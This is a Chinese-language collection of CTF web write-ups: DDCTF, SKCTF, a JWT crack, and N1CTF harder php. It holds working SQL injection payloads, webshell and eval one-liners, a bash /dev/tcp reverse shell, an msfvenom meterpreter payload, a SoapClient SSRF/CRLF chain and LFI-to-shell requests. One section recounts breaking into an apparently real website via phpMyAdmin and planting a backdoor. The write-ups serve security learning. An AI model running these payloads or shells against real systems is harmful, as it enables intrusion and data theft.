mini blockchain(区块链)
滴滴的这道blockchain
真的让人耳目一新,同时感觉也预兆了以后区块链
技术出现在CTF
上可能会成为一个常态
,所以非常有必要去认真的了解一下这个东西。以下关于区块链的表述仅以我两天的学习结果,,,所以路过的大佬发现有表述不对
的地方,劳烦指正。
在网页的源码里发现了一处注释
BIG5
编码表,所以推测是宽字节
注入。
UTF-8
iconv('utf-8','BIG5',$_GET['id'])
的转换。又因为'
会被转义,变成\'
,所以我们考虑找一个BIG5
编码后最后一位是5C
的字符,这样查询时就变成\\'
把\
的作用取消掉。然后我们可以在字符查询网站找一下,传送门。
这是随便找的一个,当然,还有很多个符合条件的字。
POC
报错注入
,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:1 | http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- + |
具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23database ---> sqli
table ---> message
id
name
contents
route_rules
id
pattern
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
action
Well#getmessage
JustTry#self
JustTry#try
static/bootstrap/css/backup.zip
rulepass
cd4229e671a8830debfcbb049a23399c
5ed16f9c7c27cb846eaf15c19fe40093
3228ad498d5a20d1d22d6a4a15fed4d2
很明显有一个备份文件
,又是源码泄露。下载下来慢慢审计。
首先这是php的mvc设计模式,由Router.php
负责分发,然后在Justtry
类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西:序列化与反序列化
,所以一个清晰地念头就出来了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<?php
class Justtry extends Base
{
private $white = array('test', 'well','base','justtry');
public $flag;
public function __construct()
{
parent::__construct();
}
public function self($a='')
{
if (!in_array(strtolower($a), $this->white)) {
exit('类不存在');
}
$res=$this->ref->getclassall($a);
if (isset($res)) {
echo $res;
}
}
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}
public function send()
{ //省略
}
}
我们可以发现允许序列化的类只有:Flag、SQL、Test
,所以我们重点关注一下这三个类,寻找获取flag
的条件。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33// Test.php
<?php
class Test
{
public $user_uuid;
public $fl;
public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}
public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{ // 省略
}
public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
// 需要知道id
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}
可以看到Test
类的__destruct()
调用了getflag()
,所以推测这是我们序列化的入口
。而它里面调用的get($user)
方法是属于Flag
类的。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// Flag.php
<?php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}
截取SQL
类的FlagGet()
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];
$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);
return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}
到这,我们可以初步确定Test
类中的$fl
属性的值为Flag
类,但$user_uuid
的值我们还不能确定,所以,我们来找找这个值。
在UUID.php
里我们可以发现关于uuid
的定义,它的形式如下:
4eaee5db-2304-4d6d-aa9c-962051d99a41
,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:1 | <?php |
注意:一定不要忘记namespace Index\Helper
,不然服务器序列化失败。
我们将得到的序列化结果先进行url encode
一下,然后再提交。
DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}
。
由于上篇实在是水了,,,所以就网上搜集了一番,然后就找到了一个。。。
首先检查一下sql注入,然后在下载文件
的地方发现了一处,而且还把网站的物理路径
暴露出来了。
空格
,因为当and 1=2
的时候也返回了真。
/**/
太代替空格,发现确实可行。1 | poc: |
如图:
sqlmap
进行注入,只需要加上--tamper space2comment
。经过好一番的查找,才拿到了数据库中的账号和密码。
目录遍历
漏洞。
phpmyadmin
用户猜想到有phpmyadmin
目录,但是也没有找到。
XSS
看看能不能找到管理员的后台地址,但结果是留言板确实是存在xss
但却没有找到管理员的地址。
cookie
访问XSS
打到的网址是报了个验证码错误,所以这条线也走不了了。
后来经前辈提醒,可以直接使用http://ip/phpmyadmin
的访问方式试试,那么首先检测一下有没有CDN
。用多地ping
检测了一下,发现应该是没有CDN
,然后直接访问看看。
root
账号密码登陆进去了。由于物理路径
已经知道了,那么后面的操作就简单了,直接使用mysql
写一句话后门。1 | Create TABLE a (cmd text NOT NULL); |
随便找个表执行下上面的sql
语句即可。
out.php
。
WAF
。而从phpinfo
暴露出来的环境可以知道是内网,并且权限很高,所以心就更痒痒了。
反弹shell
。但是发现反弹回来立马被干掉了。。。
趋势杀软
。
强网杯
,而且杀软也还没
想到法绕过,所以暂且放下,两天后再战。。。题目描述:
sql约束攻击
,利用的是数据库字段定义时产生的漏洞。如:1 | mysql> CREATE TABLE users ( |
username
只允许25个字符,超过后就舍去25字符以后的,然后在mysql
中,admin
跟admin [很多空格]
在查询的时候是一样的。因为admin
用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin
然后替换掉密码。所以我们可以注册一个admin[很多个空格]1
的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin
加你的密码
去登陆即可得到flag。0 == 字符串
是成立的,从而绕过了MD5检查,这里记录一些MD5值:1 | s878926199a |
upload.php
php
解析:<?php
被替换成_
。如下图:<script language=php> </script>
标签绕过这个验证,我们再上传一次:php代码
。接着使用菜刀连接。SKCTF{uP104D_1nclud3_426fh8_is_Fun}
。get
一个请求。然后可以找到源码:$key
的值,然而当你拿着$KEY='ISecer:www.isecer.com';
去序列化后提交会发现是不对的。$KEY
的值是没有定义的,但是我们可以构造s:0:"";
字符串,他反序列化的结果就是一个空的字符串,然后绕过他的比较。.DS_Store
泄露,然后网上找了个exp,运行后就能得到flag文件。flag{sql_iNJEct_comMon3600!}
。phpmyadmin
的目录,然后再去网站上看看,然后就能发现数据库的用户名和密码。题目描述:
空格
,但由于mysql
的特性,我们可以使用回车换行符还替代即%0a
或%0d
。extractvalue()
或者updatexml()
进行报错,尝试一条报错语句:1 | ?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e)) |
%0a
换成%0d
也是可以的。要读取文件,mysql提供了load_file()
函数,并且需要对文件名进行16进制
编码。又因为extractvalue()
有长度限制,最长为32位
,所以我们需要使用substr()
对hex()
过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制
编码就会出现无法读取的情况。1 | ?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e) |
”
,所以直接复制题目给的flag形式,然后把双引号里的值粘贴进去就行了。空格 , = and
,所以这给我们注入带来极大的不便,但是or select >
没有被过滤,我们先找到闭合字符。而且我们注意到,页面使用的是en
编码,所以可以考虑宽字节
注入。username=admin%df%27or'1'>'1&password=admin
跟username=admin%df%27or'2'>'1&password=admin
。or
返回真时它会检查password
是否正确,而当or
返回假时会报没有此用户
的错误,所以,我们可以接着构造我们的payload。下面是我的payload:1 | username=admin%df%27or(select(password))>'0&password=admin |
>'
后面的字符就能把密码给注入出来,这里值得注意的是最后一个值的确定,可以看到当最后一个字符为/
时页面返回了真,而为0
时则返回了假。>
来进行判断的,所以最后的一个值一定会比真实值小
,也就是说我们最后一位应该取0
才是正确的。所以最终md5值:51b7a76d51e70b419f60d3473fb6f900
。解密出来就是:skctf123456
。然后我们登陆一下就能获得flag。burpsuite
跟zap
上使用。打开页面后如下:
id
无法登陆,所以就拿出了目录扫描器看看有什么发现。
show.php
。
这道题就是学习姿势了,自己做的时候没有找到思路,然后看了writeup才做出来。
对请求抓包,然后可以发现tip
,解密出来是几行代码。
1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'"; |
这里可以看到它是分离式的验证,首先查询username
的用户,然后拿出password
再进行比较,一开始想着是注入出admin
的密码,但发现可能没有这个用户,而且也找不到注入的poc
。后来参考网上的writeup才知道正确的打开方式。payload:1
username=' union select md5(1),md5(1)#&password=1
执行这条语句时由于前面的username
为空,所以没有数据返回,但后面的union select md5(1),md5(1)
则会返回两个MD5(1)的值,然后password
我们也置为1
,从而绕过if
语句的判断。
接下来可以进入命令执行的页面。
1 | nc -lvv 8888 |
然后执行反弹shell的命令。1
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1
最后就能在服务器上收到shell,然后查询flag。
SKCTF{Uni0n_@nd_c0mM4nD_exEc}
。
这道题就纯属学习姿势了,首先是进行敏感目录扫描,然后发现.index.php.swp
源码泄露。
1 | <?php |
因为admin
用户被禁止了登陆,但是可以利用反序列化漏洞重置$_SESSION['username']
为admin
,然后拿到flag。
首先介绍一下CBC字节翻转攻击
,如果我们要想把第二行(段)中的2
变成n
,我们只需要修改第一行(段)的r
。1
2
3
4
5
6
7原文:
a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}
按16个字符分割:
a:2:{s:8:"userna
me";s:5:"admi2";
s:8:"password";s
:5:"skctf";}
1 | bs_de = 'a:2:{s:8:"username";s:5:"admi2";s:8:"password";s:5:"skctf";}' |
我们把cookie
中的cipher
拿出来修改一下。1
2
3
4
5
6
7
8
9
10
11# -*- coding:utf-8 -*-
import base64
bs = 'e8SnC9p3aEmJciIN8NWYM1PcA/A7jSwsiTglqdBMLRLf/8LOHKmhOoHSOBbJB1xEnE6S6DpfgkD8NWlJETxDZQ=='
bs_de = base64.b64decode(bs)
ch = chr(ord(bs_de[13]) ^ ord('2') ^ ord('n'))
bs_de=bs_de[0:13]+ch+bs_de[14::]
print(base64.b64encode(bs_de))
然后把得到的结果替换掉cipher
,访问后可以发现反序列化出错了。
第二段明文
的时候我们把第一段的密文
破环掉了,造成后台无法解密出原来的数据。如下面这种情况。
6
修改成7
的时候,造成了第一段密文解密出来的结果变成了乱码,所以我们还需要还原第一段的密文
,所以我们要对iv
这个初始向量进行修改。
cipher
要变成上面提示反序列化
错误的那个密文。因为这个反序列化错误的字符是第一次翻转后的明文
。
1 | import base64 |
将得到的结果替换到iv
上,然后刷新页面,就能看到flag了。
这是印度举办的CTF中遇到的一道JWT破解绕过题,觉得还是挺有价值的,mark一下。
这是一道b00t2root
的一道web题,觉得很有意思,并且结合了加密的知识,所以记录一下。
首先了解下JWT:
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。
JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.
点号分割。拿道题后看了一下cookie,发现是如下格式:
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM |
进行base64解密后发现:
false
改成true
,而且要通过服务器的验证
,这点很重要,并不是直接把false
改成true
就万事大吉了。因为服务器收到token后会对token的有效性
进行验证。
验证方法:首先服务端会产生一个key
,然后以这个key
作为密钥,使用第一部分选择的加密方式(这里就是HS256
),对第一部分和第二部分拼接的结果
进行加密,然后把加密结果放到第三部分
。
1 | 服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。 |
因为加密算法我们已经知道了,如果我们只要再得到加密的key
,我们就能伪造数据,并且通过服务器的检查。
这里我使用了这个工具进行破解:C语言版JWT破解工具,下载安装完毕后,直接进行破解,如图:
false
改成true
,然后使用key进行加密,可以得到如下:
https://github.com/brendan-rius/c-jwt-cracker
https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/
https://jwt.io/
http://www.cnblogs.com/dliv3/p/7450057.html
easy php
跟harder php
在比赛中虽然源码已经get到,但没能做出来,现在官方网站已经关闭,但官方在Github上公开了源码和Docker配置,所以拉下来跟着writeup做一遍,学习学习姿势。
这道题看了一下网上的writeup,大概有四种解法:
非预期解法是按getshell
的方法来划分的,这也导致easy php升级成harder php。写完writeup的时候发现预期解法的篇幅有点大了,但大有大的好处,作者在这里尽力还原了解题的完整过程,所以这篇就是harder php
的预期解法。
首先尝试源码泄露,经过测试后发现只要在文件名后加~
就能得到源码。
然后简单的对源码进行审计一下,有如下发现:
login
跟register
的$username
使用了check_username()
进行检查,$password
则是直接进行md5()
加密。
login
跟register
不存在注入,接着再看看哪里有insert、insert、select
语句,然后可以看到在publish
中的$_POST['signature']
和$_POST['mood']
没有经过任何过滤直接就进行了insert
插入。?action=register
,打开后发现要进行md5碰撞
,这里也记录一下脚本。 碰撞脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29# -*- coding: utf-8 -*-
# running in python2
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = 'b825c' # 修改此值
start_pos = 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
注册后我们登陆网站,然后打开发表页面。
mood
参数被强制转成int
,所以我们只能在signature
中进行注入。 所以我们可以构造这样的payload:1
signature=1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),2,1))=53,sleep(3),0))#&mood=0
0x61646d696e
是admin
的16进制编码,而且这里不能直接比较字符如substr()>'a'
。如果注入成功则会延迟三秒返回页面。ip
的值,然后通过返回不同的国家判断注入结果,其payload如下:1 | wat`,(select case when ascii(substr((select password from ctf_users where is_admin=1),3,1))=48 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=49 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"2.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=50 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"5.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=51 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"127.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=52 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"128.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=53 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"129.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=54 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"135.0.0.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=55 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"27.116.56.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=56 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"41.109.118.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=57 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.11.15.64";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=97 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"103.81.186.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=98 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:10:"5.10.240.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=99 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:11:"17.45.140.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=100 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:12:"43.249.176.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=101 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"41.76.8.0";s:4:"date";i:1520676219;}` when ascii(substr((select password from ctf_users where is_admin=1),3,1))=102 then `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:9:"46.8.41.0";s:4:"date";i:1520676219;}` else `O:4:"Mood":3:{s:4:"mood";s:6:"../../";s:2:"ip";s:7:"1.0.0.0";s:4:"date";i:1520676219;}` end)) -- - |
admin
的密码就是nu1ladmin
。二次注入
一次性将密码直接注入出来,从操作上来看二次注入的步骤显然要比盲注简单很多,所以作者对这种手法再进行练习。原博客地址为:p0’s blog | 破id
,然后进行二次注入,如:1 | signature=1`,(select 1)),('1','123','1','1')#mood=1 |
admin
的密码显示到id
为自己账号上的signature
上。id
:id
就是4。接着进行二次注入,payload:1 | signature=1`,1),(4,`admin333`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0 |
admin
的账号密码了。 其实通过审计,我们可以知道得到admin
的密码是不够的,因为admin
的allow_diff_ip
是=0
的,所以我们还是无法直接利用。其实比赛中看到了反序列化漏洞,但因为Mood
类中并没有魔术函数
,所以一直以为反序列化利用不了,所以也就卡壳了。后来证实自己的知识面还是太窄了
:(
到了这一步,我们就要怎么利用SSRF了,我这里想到了两个方法:
第一种因为被代码写死,所以无法利用。
soap
是开启的,php中有一个特殊的类:SoapClient
,它是用来创建soap数据报文,与wsdl接口进行交互的。wsdl模式
,如果为NULL
,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求
,如果是wsdl模式,在序列化之前
就会对$url参数进行请求,从而无法可控序列化数据。1 | <?php |
1 | O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://192.168.187.133:8887";s:13:"_soap_version";i:1;} |
nc -lvv 8887
,再去刷新?action=index
,就能看到服务器已经接收到soap
请求。 现在我们已经触发了SSRF,但可以看到SOAP
原始的数据是不符合POST
请求的数据格式的,所以,我们要想办法控制soap
请求使它符合post
请求,从而实现我们的目的。
soap
请求的content/type
是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded
才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent
的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent
来控制整个POST报文。
我们知道http请求报文中使用\x0d\x0a
,也就是回车换行符
,分割http请求头跟body部分,所以我们通过\x0d\x0a
来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF
。如:
这里我使用了官方放出的payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
我们只需将PHPSESSID
跟code
换成我们自己的就可以实现admin
登陆。我们在另一个浏览器中打开页面,然后记录他的PHPSESSID
跟code
。如:
1 | signature=x`,`O:10:"SoapClient":3:{s:3:"uri";s:1:"0";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:11:"_user_agent";S:188:"fake\0D\0ACookie: PHPSESSID=etf9pia6ftpj50eav8jsbp7ta5\0D\0AContent-Type: application/x-www-form-urlencoded\0D\0AContent-Length: 700\0D\0A\0D\0Ausername=admin\26password=nu1ladmin\26code=THYoaQkVdIm739Hppszu\26y=cc";}`) -- -&mood=0 |
admin
登陆了,(直接刷新页面即可,不用输入密码),然后可以看到我们已经解锁了文件上传
功能。 我们再来看文件上传的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
可以看到如果你上传的文件包含<?php
,就会运行一个bash clean_danger.sh去删除
这个文件。而这个脚本的代码是:1
2cd /app/adminpic/
rm *.jpg
绕过这个检测的方法有两个:
rm -r (它的上一层目录)
,比如:<?=
拿到webshell。 为了方便反弹shell,这里我用msf生成了shellcode
,命令:1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.129 LPORT=4444 -f raw > /root/meter.php
因为使用的是msf反弹shell
的代码,所以我们用msf
监听一下。
并且上传的时候我使用了第一种方法
upload
函数中,我们看到系统对文件进行了重命名。time()
的值,然后枚举1~100
叠加上去。而time()
是我们上传的时间的unix时间戳
,而且要注意是date_default_timezone_set("PRC")
。unix时间戳
,如:1 | <?php |
1521017320
,然后我们写个python脚本暴力跑一下:1 | # -*- coding:utf-8 -*- |
152101732000
,它比时间戳多了两位
,这是因为时间戳的后面还有rand(1,100)
,所以我们要考虑进去。http://192.168.187.133/index.php?action=../../../../app/adminpic/-meter152101732256.jpg
,访问后可以看到页面返回正常。并且在msf
里可以看到shell已经反弹回来。 拿到shell后查看了文件,但没有发现flag
文件。所以,flag应该在数据库中。然后发现了系统的配置脚本run.sh
。里面暴露了mysql
的账号密码,我们登陆mysql
然后查询一下。sql语句如下:1
2use flag;
select * from flag;
可以看到flag已经出来了。
shell
并不是真实的shell
,所以在执行mysql
命令时总是存在延迟,有时数据也返回不完全,需要多次操作才能读出这个flag
:n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}
。
这道题运用了很多姿势,复现完成后自己也学到了很多,不足的就是自己在复现的时候操作还不是很流畅,可能也是自己太菜的原因,但好在最后还是能照着writeup
复现出来。复现过程中,查了几份writeup
,但这些writeup对于很多细节却没有做详细的描述,所以这篇writeup我尽量的把每步操作都记录下来,方便自己也方便别人学习。
关于非预期的解法,考虑到篇幅关系,所以决定另开一篇,并且争取还原整个解题过程。
上篇文章中复现了官方的预期解法,这里单独将非预期
解法拿出来复现一遍并记录解题过程。非预期
解法有三种:
本来以为pull下的docker有easy php
的环境,但经过检查后却发现不满足条件,所以这篇文章主要起到备忘录
的作用,以供以后遇到满足的条件时方便查阅。
session.upload_progress.enabled
这个参数在php.ini 默认开启
,需要手动置为Off
,如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到1
/var/lib/php5/sess_{your_php_session_id}
session.upload_progress.enabled
参数已经被关闭,所以这个解法就没法复现了。
首先构造一个这样的报文(from @berTrAM),不断的向服务端发送1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php
<?php eval($_POST[1]);?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream
< %eval request("a")%>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--
服务器就会在/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
中记录这个上传的文件。接着我们不断刷新生成包含恶意php代码的文件,然后通过LFI包含这个文件1
action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17
即可getshell
要使用Xdebug
get shell,首先服务器要开启如下参数:
xdebug
。
地址
(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。
再下面的操作就参照师傅的博客就行了,这里因为没有环境就不再照抄
了。
要使用临时文件竞争
,phpinfo的环境要有如下配置:
它大概的原理就是趁系统还没把临时文件删除之前将这个文件包含起来,从而getshell,通常系统的守护进行删除时隔很小,大概在2~3s,所以,我们要使用多线程上传,然后不断刷新包含文件。
Update your browser to view this website correctly. Update my browser now